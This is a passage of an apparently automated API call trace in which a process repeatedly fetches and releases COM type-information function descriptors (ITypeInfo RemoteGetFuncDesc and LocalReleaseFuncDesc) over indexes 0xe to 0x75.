0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x10, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x11, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x12, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x13, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x14, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x15, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x16, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x17, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x18, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x19, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x20, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x21, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x22, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x23, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x24, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x25, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x26, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x27, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x28, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x29, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x30, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x31, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x32, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x33, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x34, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x35, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x36, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x37, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.921] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x38, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.921] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x39, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x40, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x41, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x42, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x43, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x44, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x45, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x46, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x47, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x48, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x49, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x50, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x51, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x52, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x53, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.922] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x54, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.922] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x55, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x56, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x57, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x58, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x59, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x60, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x61, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x62, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x63, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x64, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x65, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x66, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x67, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x68, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x69, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.923] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x70, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.923] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x71, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x72, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x73, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x74, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x75, ppFuncDesc=0x267248, pDummy=0x100 | out: 